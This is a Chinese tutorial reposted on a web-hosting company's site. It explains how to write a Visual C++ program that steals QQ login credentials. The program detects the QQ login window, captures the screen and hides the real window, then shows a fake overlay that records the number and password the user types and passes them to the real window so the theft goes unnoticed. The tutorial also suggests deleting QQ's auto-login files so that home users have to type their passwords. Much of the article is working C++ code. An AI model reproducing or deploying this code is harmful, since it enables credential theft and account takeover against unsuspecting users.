手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>程序设计>C/C++>列表

VisualC 编程窃取QQ密码

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
  近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。

  网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。

  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:
//根据进程ID得到进程名称 
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) 
{ 
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    PROCESSENTRY32 pe; 
    pe.dwSize = sizeof(PROCESSENTRY32); 
    if (!Process32First(hSnapshot, &pe)) { 
        return FALSE; 
    } 
    while (Process32Next(hSnapshot, &pe)) { 
        if (pe.th32ProcessID == PID) { 
            strcpy(lpszProcessName, pe.szExeFile); 
   return true; 
        } 
    } 
  
    return FALSE; 
}    
    
//查找QQ登录窗口 
void QQFind() 
{ 
 HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; 
 HWND ButtonLogin = NULL, ButtonCancel = NULL; 
 char sTitle[255]; 
 CString ss; 
 DWORD QQPID; 
 int LoginID; 
 BOOL find = FALSE; 
 do 
 {  
  //获得当前激活窗口的句柄 
  g_hWnd = GetForegroundWindow(); 
  GetWindowThreadProcessId(g_hWnd, &QQPID); 
  //根据PID获得进程名 
  processIdToName(sTitle, QQPID); 
  ss = sTitle; 
  ss.MakeLower(); 
  //判断是否QQ 
  if(ss != "qq.exe") 
  { 
   Sleep(100); 
   continue; 
  } 
   
  //获得标题文字,判断是否登陆对话框 
  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); 
  ss = sTitle; 
  int n = ss.Find("QQ", 0); 
  int m = ss.Find("登录", 0); 
  if(n >= 0 || m >= 0) 
  { 
   //查找QQ登陆按钮的句柄 
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin); 
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin); 
   //获得QQ登陆按钮窗口位置 
   GetWindowRect(ButtonLogin, &g_qqLogin); 

   //查找QQ取消按钮的句柄 
   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); 
   //获得QQ取消按钮窗口位置 
   GetWindowRect(ButtonCancel, &g_qqCancel); 

   //查找QQ密码输入框的句柄 
   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  
   if(hWnd1 != NULL)  
   { 
    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); 
    //获得QQ密码输入框窗口位置 
    GetWindowRect(qqPass_hWnd, &g_qqPassRt);      
   } 
    
   //查找QQ号码输入框的句柄 
   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); 
   if(hWnd1 != NULL)  
   { 
    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); 
    //获得QQ号码输入框窗口位置 
    GetWindowRect(qqID_hWnd, &g_qqIDRt); 
    //获得当前默认QQ号码 
    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); 
   } 
    
   //等待QQ窗口完全出现后抓取整个屏幕 
   Sleep(100); 
   g_DlgRt.left = 0; 
   g_DlgRt.top = 0; 
   g_DlgRt.right = m_xScreen; 
   g_DlgRt.bottom = m_yScreen;    
   g_pBitmap = CopyScreenToBitmap(&g_DlgRt); 
    
   //设置QQ窗口为不可见 
   ShowWindow(g_hWnd, SW_HIDE); 
    
   //弹出我们创建的伪造对话框 
   HINSTANCE hInstance = GetModuleHandle(NULL); 
   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); 
    
   //设置QQ窗口为可见 
   ShowWindow(g_hWnd, SW_SHOW); 

   //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 
   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); 
   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); 
   SendMessage(ButtonLogin, BM_CLICK, 0, 0); 

   DeleteObject(g_pBitmap); 
   //设置标志退出循环 
   find = true; 
  } 
   
 } 

 while(find == FALSE); 
}
  截图如下:


图一 伪装的登陆界面

  好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

热点关注
IDC资讯 虚拟主机 域名注册 托管租用 vps主机 智能建站
网站运营 建站经验 策划盈利 搜索优化 网站推广 免费资源
网站联盟 联盟新闻 联盟介绍 联盟点评 网赚技巧
行业资讯 业界动态 搜索引擎 网络游戏 门户动态 电子商务 广告传媒
网络编程 Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术 Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷 Internet Explorer
网页制作 FrontPages Dreamweaver Javascript css photoshop fireworks Flash
程序设计 Java技术 C/C++ VB delphi
网络知识 网络协议 网络安全 网络管理 组网方案 Cisco技术
操作系统 Win2000 WinXP Win2003 Mac OS Linux FreeBSD
返回首页 |关于我们 | 联系我们 | 付款方式 | 创业联盟 | 价格总览 | 资讯中心 | 友情链接 | 网站地图 | 招贤纳士 | RSS